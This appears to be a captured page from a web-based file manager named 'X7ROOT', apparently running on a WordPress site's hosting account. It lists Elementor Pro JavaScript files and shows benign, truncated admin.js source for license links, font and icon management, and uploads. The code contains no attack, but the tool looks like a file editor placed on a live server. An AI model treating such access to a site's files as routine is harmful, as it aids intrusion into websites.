X7ROOT File Manager
Current Path:
/home/gfecatvj/4abetter.us/wp-content/plugins/elementor-pro/assets/js
home
/
gfecatvj
/
4abetter.us
/
wp-content
/
plugins
/
elementor-pro
/
assets
/
js
/
📁
..
📄
1b816ba777b14157325b.bundle.min.js
(8.96 KB)
📄
4abfbfd970d6f7680bc7.bundle.js
(11.69 KB)
📄
60745ddf42fde6647dbc.bundle.min.js
(27.02 KB)
📄
60745ddf42fde6647dbc.bundle.min.js.LICENSE.txt
(188 B)
📄
98217e0c00e1f53421ef.bundle.js
(67.37 KB)
📄
admin.js
(60.03 KB)
📄
admin.min.js
(32.19 KB)
📄
ajax-pagination.a8dae0f5699fe9733e7d.bundle.min.js
(8.58 KB)
📄
ajax-pagination.bc400e6cb24a14a2ea97.bundle.js
(10.89 KB)
📄
animated-headline.3efc6517c2a055f6c242.bundle.min.js
(13.51 KB)
📄
animated-headline.e4c2ed3934d0df18c40a.bundle.js
(18.34 KB)
📄
app.js
(304.22 KB)
📄
app.min.js
(90.78 KB)
📄
archive-posts.0aae8c3bd7d196797b6c.bundle.js
(21.36 KB)
📄
archive-posts.d30c917134774f65dd6d.bundle.min.js
(13.75 KB)
📄
carousel.998a291abf70435fd698.bundle.js
(15.77 KB)
📄
carousel.9b02b45d7826c1c48f33.bundle.min.js
(10.73 KB)
📄
code-highlight.28a979661569ddbbf60d.bundle.min.js
(6.3 KB)
📄
code-highlight.8b676d9a001f56fb77fa.bundle.js
(6.84 KB)
📄
countdown.60cf02eaf22d71d83f3d.bundle.js
(10.66 KB)
📄
countdown.be941c879efa861dbbfa.bundle.min.js
(8.46 KB)
📄
custom-code.js
(101.34 KB)
📄
custom-code.min.js
(31.28 KB)
📄
display-conditions.js
(236.98 KB)
📄
display-conditions.min.js
(78.57 KB)
📄
editor.js
(364.55 KB)
📄
editor.min.js
(148.2 KB)
📄
elements-handlers.js
(106.17 KB)
📄
elements-handlers.min.js
(43.19 KB)
📄
form-submission-admin.js
(275.77 KB)
📄
form-submission-admin.min.js
(92.73 KB)
📄
form.10bf1a6475f0741920ff.bundle.min.js
(24.62 KB)
📄
form.efd3434e4ecbe4dd5fc6.bundle.js
(38.49 KB)
📄
frontend.js
(61.81 KB)
📄
frontend.min.js
(30.32 KB)
📄
gallery.805130d33e18cb04635f.bundle.js
(15.19 KB)
📄
gallery.8ca9a354ce039d1ba641.bundle.min.js
(11.55 KB)
📄
gutenberg-woocommerce-notice.js
(84.62 KB)
📄
gutenberg-woocommerce-notice.min.js
(21.77 KB)
📄
hotspot.6ab1751404c381bfe390.bundle.min.js
(8.59 KB)
📄
hotspot.70886883c622dd8d5eb2.bundle.js
(10.73 KB)
📄
jszip.vendor.99a5b769619f50a6cb60.bundle.min.js
(101.76 KB)
📄
jszip.vendor.99a5b769619f50a6cb60.bundle.min.js.LICENSE.txt
(383 B)
📄
jszip.vendor.a3c65615c1de5560962d.bundle.js
(101.48 KB)
📄
load-more.ad89e46f2f6bfd9c27e8.bundle.js
(15.18 KB)
📄
load-more.bc9573b5d1f73abd80b9.bundle.min.js
(10.96 KB)
📄
loop-carousel.4e8fd6593adbba21698e.bundle.min.js
(7.16 KB)
📄
loop-carousel.827a11bd7f1b0343de42.bundle.js
(8.61 KB)
📄
loop-filter-editor.21982d6e76a4fba12cd5.bundle.min.js
(9.11 KB)
📄
loop-filter-editor.d1bae86a5ed21c0e9981.bundle.js
(12.86 KB)
📄
loop.c4d9f09c7596d4e1df61.bundle.js
(22.43 KB)
📄
loop.e45e73509acb0a350776.bundle.min.js
(14.43 KB)
📄
lottie.565b778d23c04461c4ea.bundle.min.js
(19.91 KB)
📄
lottie.a00fda0bbf10f9b99eae.bundle.js
(30.24 KB)
📄
media-carousel.aca2224ef13e6f999011.bundle.min.js
(12.68 KB)
📄
media-carousel.d8417210e0b731dd32b8.bundle.js
(18.88 KB)
📄
mega-menu-editor.319a739ef1260a2b2da1.bundle.min.js
(8 KB)
📄
mega-menu-editor.bbef3f7412481cbce555.bundle.js
(11.16 KB)
📄
mega-menu-stretch-content.4648b25d00c1f94cec4e.bundle.js
(7.66 KB)
📄
mega-menu-stretch-content.60ca9e1e97c52ac3bf8c.bundle.min.js
(6.93 KB)
📄
mega-menu.bc1b8483f0d497cb1b50.bundle.js
(43.68 KB)
📄
mega-menu.ff65163e28a043660c7b.bundle.min.js
(25.89 KB)
📄
menu-title-keyboard-handler.255f6b16a2f292e5c260.bundle.js
(16.04 KB)
📄
menu-title-keyboard-handler.80c53fcbf2fdb487c91d.bundle.min.js
(12.05 KB)
📄
nav-menu.ad2c1632628f619ad9e9.bundle.js
(14.14 KB)
📄
nav-menu.d43af66e5000fd109c04.bundle.min.js
(10.38 KB)
📄
nested-carousel-editor.2fdc278ce6bc9f6ec2e0.bundle.js
(7.67 KB)
📄
nested-carousel-editor.6337dab68af203be7c04.bundle.min.js
(6.45 KB)
📄
nested-carousel.9145d6891784d5818672.bundle.min.js
(8.14 KB)
📄
nested-carousel.da220b2d6ef36e95bbad.bundle.js
(10.32 KB)
📁
notes
📁
packages
📄
page-transitions.js
(39.57 KB)
📄
page-transitions.min.js
(22.64 KB)
📄
paypal-button.3028ea98fc2e17fdfe8f.bundle.js
(7.38 KB)
📄
paypal-button.3d0d5af7df85963df32c.bundle.min.js
(6.69 KB)
📄
popup.085c1727e36940b18f29.bundle.min.js
(6.57 KB)
📄
popup.1f90f6cfd0d44ef28772.bundle.js
(7.34 KB)
📄
portfolio.9a52c1f0953359d74119.bundle.js
(18.53 KB)
📄
portfolio.b5c5e89624dc6b81a11a.bundle.min.js
(12.94 KB)
📄
posts.5d2d70b1d6918b6d8205.bundle.js
(11.64 KB)
📄
posts.caaf3e27e57db8207afc.bundle.min.js
(9.08 KB)
📄
preloaded-elements-handlers.js
(460.47 KB)
📄
preloaded-elements-handlers.min.js
(222.03 KB)
📄
preloaded-elements-handlers.min.js.LICENSE.txt
(188 B)
📄
preview.js
(87.26 KB)
📄
preview.min.js
(22.88 KB)
📄
product-add-to-cart.023d7d31fbf96c3dbdfc.bundle.min.js
(9.26 KB)
📄
product-add-to-cart.e099bc90899376d00959.bundle.js
(13 KB)
📄
progress-tracker.3ec316715116e9087057.bundle.js
(15.05 KB)
📄
progress-tracker.53951a08af7543da98e6.bundle.min.js
(10.95 KB)
📄
qunit-tests.js
(8.65 KB)
📄
qunit-tests.min.js
(6.13 KB)
📄
screenshot.js
(17.45 KB)
📄
screenshot.min.js
(11.49 KB)
📄
search-form.4beabae7f0e0a3129ef7.bundle.js
(10.24 KB)
📄
search-form.a25a87283d08dad12f18.bundle.min.js
(7.91 KB)
📄
share-buttons.08f4daf4a4285a8632b8.bundle.min.js
(7.38 KB)
📄
share-buttons.58e0fcb000aa02df3f24.bundle.js
(10.11 KB)
📄
slides.3b185c687f9167dfae0c.bundle.js
(13.23 KB)
📄
slides.fb6b9afd278bb9c5e75b.bundle.min.js
(9.67 KB)
📄
social.2d2e44e8608690943f29.bundle.min.js
(6.84 KB)
📄
social.deeefd0e3641200f8239.bundle.js
(7.78 KB)
📄
stripe-button.2acbca466dfeb9585680.bundle.min.js
(7.81 KB)
📄
stripe-button.b00915f9aec396f7b070.bundle.js
(10.02 KB)
📄
table-of-contents.82ad797536446d523057.bundle.min.js
(13.99 KB)
📄
table-of-contents.e67f9eaf44032e14dc57.bundle.js
(21.37 KB)
📄
taxonomy-filter.9d41aac2f76c01cfdb42.bundle.js
(21.62 KB)
📄
taxonomy-filter.b42e9c10a9d0abc3454e.bundle.min.js
(13.33 KB)
📄
video-playlist.74fca1f2470fa6474595.bundle.min.js
(27.99 KB)
📄
video-playlist.964a12bbea2078517f07.bundle.js
(54.84 KB)
📄
webpack-pro.runtime.js
(21.35 KB)
📄
webpack-pro.runtime.min.js
(11.53 KB)
📄
woocommerce-cart.73c6990b0b1a1ea18220.bundle.js
(16.35 KB)
📄
woocommerce-cart.fc30c6cb753d4098eff5.bundle.min.js
(10.92 KB)
📄
woocommerce-checkout-page.9b1242f2568f94bb8d5c.bundle.js
(17.53 KB)
📄
woocommerce-checkout-page.b18af78282979b6f74e4.bundle.min.js
(12.2 KB)
📄
woocommerce-menu-cart.010ec7298aee1fcdc2ea.bundle.js
(14.55 KB)
📄
woocommerce-menu-cart.faa7b80e9ba9e5072070.bundle.min.js
(10.46 KB)
📄
woocommerce-my-account.3ee10d01e625dad87f73.bundle.min.js
(11.92 KB)
📄
woocommerce-my-account.6509f179e93231fa2b6a.bundle.js
(17.2 KB)
📄
woocommerce-notices.aaa7a3d06f24f7ea6951.bundle.min.js
(7.73 KB)
📄
woocommerce-notices.d8c0850de1984ac89f33.bundle.js
(8.88 KB)
📄
woocommerce-purchase-summary.46445ab1120a8c28c05c.bundle.min.js
(9.25 KB)
📄
woocommerce-purchase-summary.8d56a92f38ab4fc4575f.bundle.js
(13.17 KB)
Editing: admin.js
/*! elementor-pro - v3.20.0 - 26-03-2024 */ /******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ "../license/assets/js/admin.js": /*!*************************************!*\ !*** ../license/assets/js/admin.js ***! \*************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class Module extends elementorModules.Module { #actionLinks = [{ href: 'elementor_pro_renew_license_menu_link', external_url: 'https://go.elementor.com/wp-menu-renew/' }, { href: 'elementor_pro_upgrade_license_menu_link', external_url: 'https://go.elementor.com/go-pro-advanced-elementor-menu/' }]; onInit() { this.assignMenuItemActions(); } assignMenuItemActions() { window.addEventListener('DOMContentLoaded', () => { this.#actionLinks.forEach(item => { const link = document.querySelector(`a[href="${item.href}"]`); if (!link) { return; } link.addEventListener('click', e => { e.preventDefault(); window.open(item.external_url, '_blank'); }); }); }); } } exports["default"] = Module; /***/ }), /***/ "../modules/assets-manager/assets/js/admin.js": /*!****************************************************!*\ !*** ../modules/assets-manager/assets/js/admin.js ***! \****************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); var _elementorFontManager = _interopRequireDefault(__webpack_require__(/*! ./admin/elementor-font-manager */ "../modules/assets-manager/assets/js/admin/elementor-font-manager.js")); var _elementorCustomIcons = _interopRequireDefault(__webpack_require__(/*! ./admin/elementor-custom-icons */ "../modules/assets-manager/assets/js/admin/elementor-custom-icons.js")); module.exports = function () { const TypekitAdmin = __webpack_require__(/*! ./admin/typekit */ "../modules/assets-manager/assets/js/admin/typekit.js"), CustomIcon = _elementorCustomIcons.default, FontAwesomeProAdmin = (__webpack_require__(/*! ./admin/font-awesome-pro */ "../modules/assets-manager/assets/js/admin/font-awesome-pro.js")["default"]); this.fontManager = new _elementorFontManager.default(); this.typekit = new TypekitAdmin(); this.fontAwesomePro = new FontAwesomeProAdmin(); this.customIcons = new CustomIcon(); }; /***/ }), /***/ "../modules/assets-manager/assets/js/admin/custom-assets-base.js": /*!***********************************************************************!*\ !*** ../modules/assets-manager/assets/js/admin/custom-assets-base.js ***! \***********************************************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class CustomAssetsBase extends elementorModules.ViewModule { showAlertDialog(id, message, onConfirm = false, onHide = false) { const alertData = { id, message }; if (onConfirm) { alertData.onConfirm = onConfirm; } if (onHide) { alertData.onHide = onHide; } // Save the instance of the alert dialog to check for its visibility later if (!this.alertWidget) { this.alertWidget = elementorCommon.dialogsManager.createWidget('alert', alertData); } this.alertWidget.show(); } onDialogDismiss() { // WP's publish button gets a disabled class on submit attempt this.elements.$publishButton.removeClass('disabled'); // Prevent WP's publish spinner from appearing on publish attempt this.elements.$publishButtonSpinner.removeClass('is-active'); } handleSubmit(event) { // If we know there is a file already, return to continue submission normally if (this.fileWasUploaded) { return; } const hasValue = this.checkInputsForValues(); // Method exists in the child classes // If the file input is not empty, continue the submission process if (hasValue) { this.fileWasUploaded = true; this.elements.$postForm.trigger('submit'); return; } event.preventDefault(); // Prevent new asset submission // If no value was found, stop submission and display a notice modal this.showAlertDialog('noData', this.getSettings('notice'), () => this.onDialogDismiss(), // OnConfirm () => this.onDialogDismiss() // OnHide ); return false; } bindEvents() { this.elements.$postForm.on('submit', this.handleSubmit.bind(this)); } } var _default = exports["default"] = CustomAssetsBase; /***/ }), /***/ "../modules/assets-manager/assets/js/admin/elementor-custom-icons.js": /*!***************************************************************************!*\ !*** ../modules/assets-manager/assets/js/admin/elementor-custom-icons.js ***! \***************************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; /* provided dependency */ var __ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n")["__"]; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _customAssetsBase = _interopRequireDefault(__webpack_require__(/*! ./custom-assets-base */ "../modules/assets-manager/assets/js/admin/custom-assets-base.js")); var _elementorProDropzone = _interopRequireDefault(__webpack_require__(/*! ./fields/elementor-pro-dropzone */ "../modules/assets-manager/assets/js/admin/fields/elementor-pro-dropzone.js")); class CustomIcons extends _customAssetsBase.default { getDefaultSettings() { return { fields: { dropzone: _elementorProDropzone.default }, classes: { editPageClass: 'post-type-elementor_icons', editPhp: 'edit-php', hasIcons: 'elementor--has-icons' }, selectors: { editPageClass: 'post-type-elementor_icons', title: '#title', metaboxContainer: '#elementor-custom-icons-metabox', metabox: '.elementor-custom-icons-metabox', closeHandle: 'button.handlediv', iconsTemplate: '#elementor-icons-template', dataInput: '#elementor_custom_icon_set_config', dropzone: '.zip_upload', submitDelete: '.submitdelete', dayInput: '#hidden_jj', mmInput: '#hidden_mm', yearInput: '#hidden_aa', hourInput: '#hidden_hh', minuteInput: '#hidden_mn', publishButton: '#publish', publishButtonSpinner: '#publishing-action > .spinner', submitMetabox: '#postbox-container-1', postForm: '#post', fileInput: '#zip_upload', iconSetConfigInput: '#elementor_custom_icon_set_config' }, templates: { icon: '<li><div class="icon"><i class="{{icon}}"></i><div class="icon-name">{{label}}</div></div></li>', header: jQuery('#elementor-custom-icons-template-header').html(), footer: jQuery('#elementor-custom-icons-template-footer').html(), duplicatePrefix: jQuery('#elementor-custom-icons-template-duplicate-prefix').html() }, notice: __('Upload an icon set to publish.', 'elementor-pro') }; } getDefaultElements() { const elements = {}, selectors = this.getSettings('selectors'); jQuery.each(selectors, (element, selector) => { elements['$' + element] = jQuery(selector); }); return elements; } bindEvents() { super.bindEvents(); if ('' !== this.getData()) { this.bindOnTitleChange(); } } bindOnTitleChange() { const { $title } = this.elements, onTitleInput = event => this.onTitleInput(event); $title.on('input change', onTitleInput); } removeCloseHandle() { const { $metaboxContainer } = this.elements; $metaboxContainer.find('h2').remove(); $metaboxContainer.find('button').remove(); $metaboxContainer.removeClass('closed').removeClass('postbox'); } prepareIconName(icon) { const iconName = icon.replace('_', ' ').replace('-', ' '); return elementorCommon.helpers.upperCaseWords(iconName); } getCreatedOn() { const { $dayInput, $mmInput, $yearInput, $hourInput, $minuteInput } = this.elements; return { day: $dayInput.val(), mm: $mmInput.val(), year: $yearInput.val(), hour: $hourInput.val(), minute: $minuteInput.val() }; } enqueueCSS(url) { if (!elementorCommon.elements.$document.find('link[href="' + url + '"]').length) { elementorCommon.elements.$document.find('link').last().after('<link href="' + url + '" rel="stylesheet" type="text/css">'); } } setData(data) { this.elements.$dataInput.val(JSON.stringify(data)); } getData() { const value = this.elements.$dataInput.val(); return '' === value ? '' : JSON.parse(value); } renderIconList(config) { const iconTemplate = this.getSettings('templates.icon'); return config.icons.map(icon => { const data = { icon: config.displayPrefix + ' ' + config.prefix + icon, label: this.prepareIconName(icon) }; return elementorCommon.compileTemplate(iconTemplate, data); }).join('\n'); } renderIcons(config) { const { $metaboxContainer, $metabox, $submitMetabox } = this.elements; const { header, footer } = this.getSettings('templates'); $metaboxContainer.addClass(this.getSettings('classes.hasIcons')); $submitMetabox.show(); this.setData(config); this.enqueueCSS(config.url); $metabox.html(''); $metaboxContainer.prepend(elementorCommon.compileTemplate(header, config)); $metabox.append('<ul>' + this.renderIconList(config) + '</ul>'); $metaboxContainer.append(elementorCommon.compileTemplate(footer, this.getCreatedOn())); } onTitleInput(event) { const data = this.getData(); data.label = event.target.value; this.setData(data); } checkInputsForValues() { // If creating new icon set - check the file input for a value // If editing an existing icon set - check the icon set config input for a value if ('' !== this.elements.$fileInput.val() || '' !== this.elements.$iconSetConfigInput.val()) { return true; } return false; } onSuccess(data) { // It is possible to add a `dropzoneElement` param to this method for implementing upload progress bar if (data.data.errors) { let id, message; jQuery.each(data.data.errors, (errorId, errorMessage) => { id = errorId; message = errorMessage; return false; }); return this.showAlertDialog(id, message); } if (data.data.config.duplicate_prefix) { delete data.data.config.duplicatePrefix; return this.showAlertDialog('duplicate-prefix', this.getSettings('templates.duplicatePrefix'), () => this.saveInitialUpload(data.data.config)); } this.saveInitialUpload(data.data.config); } saveInitialUpload(config) { this.setData(config); const { $publishButton, $title, $submitMetabox } = this.elements; $submitMetabox.show(); if ('' === $title.val()) { $title.val(config.name); } this.fileWasUploaded = true; // Flag to prevent infinite loop in the handleSubmit() method $publishButton.trigger('click'); } onInit() { const { $body } = elementorCommon.elements, { editPageClass, editPhp } = this.getSettings('classes'); if (!$body.hasClass(editPageClass) || $body.hasClass(editPhp)) { return; } super.onInit(); this.removeCloseHandle(); const dropzoneFieldClass = this.getSettings('fields.dropzone'), dropzoneField = new dropzoneFieldClass(), config = this.getData(), { $dropzone, $metaboxContainer } = this.elements; if ('' === config) { $dropzone.show('fast'); dropzoneField.setSettings('onSuccess', (...args) => this.onSuccess(...args)); } else { this.renderIcons(config); } $metaboxContainer.show('fast'); } } var _default = exports["default"] = CustomIcons; /***/ }), /***/ "../modules/assets-manager/assets/js/admin/elementor-font-manager.js": /*!***************************************************************************!*\ !*** ../modules/assets-manager/assets/js/admin/elementor-font-manager.js ***! \***************************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; /* provided dependency */ var __ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n")["__"]; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _customAssetsBase = _interopRequireDefault(__webpack_require__(/*! ./custom-assets-base */ "../modules/assets-manager/assets/js/admin/custom-assets-base.js")); var _elementorProUpload = _interopRequireDefault(__webpack_require__(/*! ./fields/elementor-pro-upload */ "../modules/assets-manager/assets/js/admin/fields/elementor-pro-upload.js")); var _elementorProRepeater = _interopRequireDefault(__webpack_require__(/*! ./fields/elementor-pro-repeater */ "../modules/assets-manager/assets/js/admin/fields/elementor-pro-repeater.js")); class CustomFontsManager extends _customAssetsBase.default { getDefaultSettings() { return { fields: { upload: _elementorProUpload.default, repeater: _elementorProRepeater.default }, selectors: { editPageClass: 'post-type-elementor_font', title: '#title', repeaterBlock: '.repeater-block', repeaterTitle: '.repeater-title', removeRowBtn: '.remove-repeater-row', editRowBtn: '.toggle-repeater-row', closeRowBtn: '.close-repeater-row', styleInput: '.font_style', weightInput: '.font_weight', customFontsMetaBox: '#elementor-font-custommetabox', closeHandle: 'button.handlediv', toolbar: '.elementor-field-toolbar', inlinePreview: '.inline-preview', fileUrlInput: '.elementor-field-file input[type="text"]', postForm: '#post', publishButton: '#publish', publishButtonSpinner: '#publishing-action > .spinner' }, notice: __('Choose a font to publish.', 'elementor-pro'), fontLabelTemplate: '<ul class="row-font-label">' + '<li class="row-font-weight">{{weight}}</li>' + '<li class="row-font-style">{{style}}</li>' + '<li class="row-font-preview">{{preview}}</li>' + '{{toolbar}}' + '</ul>' }; } getDefaultElements() { const selectors = this.getSettings('selectors'); return { $postForm: jQuery(selectors.postForm), $publishButton: jQuery(selectors.publishButton), $publishButtonSpinner: jQuery(selectors.publishButtonSpinner), $closeHandle: jQuery(selectors.closeHandle), $customFontsMetaBox: jQuery(selectors.customFontsMetaBox), $title: jQuery(selectors.title) }; } renderTemplate(tpl, data) { const re = /{{([^}}]+)?}}/g; let match; while (match = re.exec(tpl)) { // eslint-disable-line no-cond-assign tpl = tpl.replace(match[0], data[match[1]]); } return tpl; } ucFirst(string) { return string.charAt(0).toUpperCase() + string.slice(1); } getPreviewStyle($table) { const selectors = this.getSettings('selectors'), fontFamily = this.elements.$title.val(), style = $table.find('select' + selectors.styleInput).first().val(), weight = $table.find('select' + selectors.weightInput).first().val(); return { style: this.ucFirst(style), weight: this.ucFirst(weight), styleAttribute: 'font-family: ' + fontFamily + ' ;font-style: ' + style + '; font-weight: ' + weight + ';' }; } updateRowLabel(event, $table) { const selectors = this.getSettings('selectors'), fontLabelTemplate = this.getSettings('fontLabelTemplate'), $block = $table.closest(selectors.repeaterBlock), $deleteBtn = $block.find(selectors.removeRowBtn).first(), $editBtn = $block.find(selectors.editRowBtn).first(), $closeBtn = $block.find(selectors.closeRowBtn).first(), $toolbar = $table.find(selectors.toolbar).last().clone(), previewStyle = this.getPreviewStyle($table); if ($editBtn.length > 0) { $editBtn.not(selectors.toolbar + ' ' + selectors.editRowBtn).remove(); } if ($closeBtn.length > 0) { $closeBtn.not(selectors.toolbar + ' ' + selectors.closeRowBtn).remove(); } if ($deleteBtn.length > 0) { $deleteBtn.not(selectors.toolbar + ' ' + selectors.removeRowBtn).remove(); } const toolbarHtml = jQuery('<li class="row-font-actions">').append($toolbar)[0].outerHTML; return this.renderTemplate(fontLabelTemplate, { weight: '<span class="label">Weight:</span>' + previewStyle.weight, style: '<span class="label">Style:</span>' + previewStyle.style, preview: '<span style="' + previewStyle.styleAttribute + '">Elementor is making the web beautiful</span>', toolbar: toolbarHtml }); } onRepeaterToggleVisible(event, $btn, $table) { const selectors = this.getSettings('selectors'), $previewElement = $table.find(selectors.inlinePreview), previewStyle = this.getPreviewStyle($table); $previewElement.attr('style', previewStyle.styleAttribute); } onRepeaterNewRow(event, $btn, $block) { const selectors = this.getSettings('selectors'); $block.find(selectors.removeRowBtn).first().remove(); $block.find(selectors.editRowBtn).first().remove(); $block.find(selectors.closeRowBtn).first().remove(); } maybeToggle(event) { event.preventDefault(); const selectors = this.getSettings('selectors'); if (jQuery(this).is(':visible') && !jQuery(event.target).hasClass(selectors.editRowBtn)) { jQuery(this).find(selectors.editRowBtn).trigger('click'); } } onInputChange(event) { const $el = jQuery(event.target).next(), fields = this.getSettings('fields'); fields.upload.setFields($el); fields.upload.setLabels($el); fields.upload.replaceButtonClass($el); } bindEvents() { const selectors = this.getSettings('selectors'); jQuery(document).on('repeaterComputedLabel', this.updateRowLabel.bind(this)).on('onRepeaterToggleVisible', this.onRepeaterToggleVisible.bind(this)).on('onRepeaterNewRow', this.onRepeaterNewRow.bind(this)).on('click', selectors.repeaterTitle, this.maybeToggle.bind(this)).on('input', selectors.fileUrlInput, this.onInputChange.bind(this)); super.bindEvents(); } checkInputsForValues() { const selectors = this.getSettings('selectors'); let hasValue = false; // Check the file inputs for a value jQuery(selectors.fileUrlInput).each((index, element) => { if ('' !== jQuery(element).val()) { hasValue = true; return false; // If a value was found, break the loop } }); return hasValue; } removeCloseHandle() { this.elements.$closeHandle.remove(); this.elements.$customFontsMetaBox.removeClass('closed').removeClass('postbox'); } titleRequired() { this.elements.$title.prop('required', true); } onInit(...args) { const settings = this.getSettings(); if (!jQuery('body').hasClass(settings.selectors.editPageClass)) { return; } super.onInit(...args); this.removeCloseHandle(); this.titleRequired(); settings.fields.upload.init(); settings.fields.repeater.init(); } } exports["default"] = CustomFontsManager; /***/ }), /***/ "../modules/assets-manager/assets/js/admin/fields/elementor-pro-dropzone.js": /*!**********************************************************************************!*\ !*** ../modules/assets-manager/assets/js/admin/fields/elementor-pro-dropzone.js ***! \**********************************************************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class DropZoneField extends elementorModules.ViewModule { getDefaultSettings() { const baseSelector = '.elementor-dropzone-field'; return { droppedFiles: false, selectors: { dropZone: baseSelector, input: baseSelector + ' [type="file"]', label: baseSelector + 'label', errorMsg: baseSelector + '.box__error span', restart: baseSelector + '.box__restart', browseButton: baseSelector + ' .elementor--dropzone--upload__browse', postId: '#post_ID' }, classes: { drag: 'is-dragover', error: 'is-error', success: 'is-success', upload: 'is-uploading' }, onSuccess: null, onError: null }; } getDefaultElements() { const elements = {}; const selectors = this.getSettings('selectors'); jQuery.each(selectors, (element, selector) => { elements['$' + element] = jQuery(selector); }); return elements; } bindEvents() { const { $dropZone, $browseButton, $input } = this.elements; const { drag } = this.getSettings('classes'); $browseButton.on('click', () => $input.trigger('click')); $dropZone.on('drag dragstart dragend dragover dragenter dragleave drop', event => { event.preventDefault(); event.stopPropagation(); }).on('dragover dragenter', () => { $dropZone.addClass(drag); }).on('dragleave dragend drop', () => { $dropZone.removeClass(drag); }).on('drop change', event => { if ('change' === event.type) { this.setSettings('droppedFiles', event.originalEvent.target.files); } else { this.setSettings('droppedFiles', event.originalEvent.dataTransfer.files); } this.handleUpload(); }); } handleUpload() { const droppedFiles = this.getSettings('droppedFiles'); if (!droppedFiles) { return; } const { $input, $dropZone, $postId, $errorMsg } = this.elements, { error, success, upload } = this.getSettings('classes'), { onSuccess, onError } = this.getSettings(), ajaxData = new FormData(), fieldName = $input.attr('name'), actionKey = 'pro_assets_manager_custom_icon_upload', self = this; Object.entries(droppedFiles).forEach(file => { ajaxData.append(fieldName, file[1]); }); ajaxData.append('actions', JSON.stringify({ pro_assets_manager_custom_icon_upload: { action: actionKey, data: { post_id: $postId.val() } } })); $dropZone.removeClass(success).removeClass(error); elementorCommon.ajax.send('ajax', { data: ajaxData, cache: false, enctype: 'multipart/form-data', contentType: false, processData: false, // TODO: Do something with upload progress /* xhr: () => { const xhr = jQuery.ajaxSettings.xhr(); xhr.upload.onprogress = ( evt ) => { if ( evt.lengthComputable ) { const percentComplete = Math.round( ( evt.loaded * 100 / evt.total ) ); } }; return xhr; },*/ complete: () => { $dropZone.removeClass(upload); }, success: response => { const data = response.responses[actionKey]; $dropZone.addClass(data.success ? success : error); if (data.success) { if (onSuccess) { onSuccess(data, self); } } else { $errorMsg.text(data.error); if (onError) { onError(self, arguments); } } }, error: () => { if ('function' === typeof onError) { onError(self, arguments); } } }); } onInit() { super.onInit(); elementorCommon.elements.$document.trigger('onDropzoneLoaded', [this]); } } var _default = exports["default"] = DropZoneField; /***/ }), /***/ "../modules/assets-manager/assets/js/admin/fields/elementor-pro-repeater.js": /*!**********************************************************************************!*\ !*** ../modules/assets-manager/assets/js/admin/fields/elementor-pro-repeater.js ***! \**********************************************************************************/ /***/ ((module) => { "use strict"; module.exports = { selectors: { add: '.add-repeater-row', remove: '.remove-repeater-row', toggle: '.toggle-repeater-row', close: '.close-repeater-row', sort: '.sort-repeater-row', table: '.form-table', block: '.repeater-block', repeaterLabel: '.repeater-title', repeaterField: '.elementor-field-repeater' }, counters: [], trigger(eventName, params) { jQuery(document).trigger(eventName, params); }, triggerHandler(eventName, params) { return jQuery(document).triggerHandler(eventName, params); }, countBlocks($btn) { return $btn.closest(this.selectors.repeaterField).find(this.selectors.block).length || 0; }, add(btn) { var self = this, $btn = jQuery(btn), id = $btn.data('template-id'), repeaterBlock; if (!Object.prototype.hasOwnProperty.call(self.counters, id)) { self.counters[id] = self.countBlocks($btn); } self.counters[id] += 1; repeaterBlock = jQuery('#' + id).html(); repeaterBlock = self.replaceAll('__counter__', self.counters[id], repeaterBlock); $btn.before(repeaterBlock); self.trigger('onRepeaterNewRow', [$btn, $btn.prev()]); }, remove(btn) { var self = this; jQuery(btn).closest(self.selectors.block).remove(); }, toggle(btn) { var self = this, $btn = jQuery(btn), $table = $btn.closest(self.selectors.block).find(self.selectors.table), $toggleLabel = $btn.closest(self.selectors.block).find(self.selectors.repeaterLabel); $table.toggle(0, 'none', function () { if ($table.is(':visible')) { $table.closest(self.selectors.block).addClass('block-visible'); self.trigger('onRepeaterToggleVisible', [$btn, $table, $toggleLabel]); } else { $table.closest(self.selectors.block).removeClass('block-visible'); self.trigger('onRepeaterToggleHidden', [$btn, $table, $toggleLabel]); } }); $toggleLabel.toggle(); // Update row label self.updateRowLabel(btn); }, close(btn) { var self = this, $btn = jQuery(btn), $table = $btn.closest(self.selectors.block).find(self.selectors.table), $toggleLabel = $btn.closest(self.selectors.block).find(self.selectors.repeaterLabel); $table.closest(self.selectors.block).removeClass('block-visible'); $table.hide(); self.trigger('onRepeaterToggleHidden', [$btn, $table, $toggleLabel]); $toggleLabel.show(); self.updateRowLabel(btn); }, updateRowLabel(btn) { var self = this, $btn = jQuery(btn), $table = $btn.closest(self.selectors.block).find(self.selectors.table), $toggleLabel = $btn.closest(self.selectors.block).find(self.selectors.repeaterLabel); var selector = $toggleLabel.data('selector'); // For some browsers, `attr` is undefined; for others, `attr` is false. Check for both. if (typeof selector !== typeof undefined && false !== selector) { var value = false, std = $toggleLabel.data('default'); if ($table.find(selector).length) { value = $table.find(selector).val(); } // Filter hook var computedLabel = self.triggerHandler('repeaterComputedLabel', [$table, $toggleLabel, value]); // For some browsers, `attr` is undefined; for others, `attr` is false. Check for both. if (undefined !== computedLabel && false !== computedLabel) { value = computedLabel; } // Fallback to default row label if (undefined === value || false === value) { value = std; } $toggleLabel.html(value); } }, replaceAll(search, replace, string) { return string.replace(new 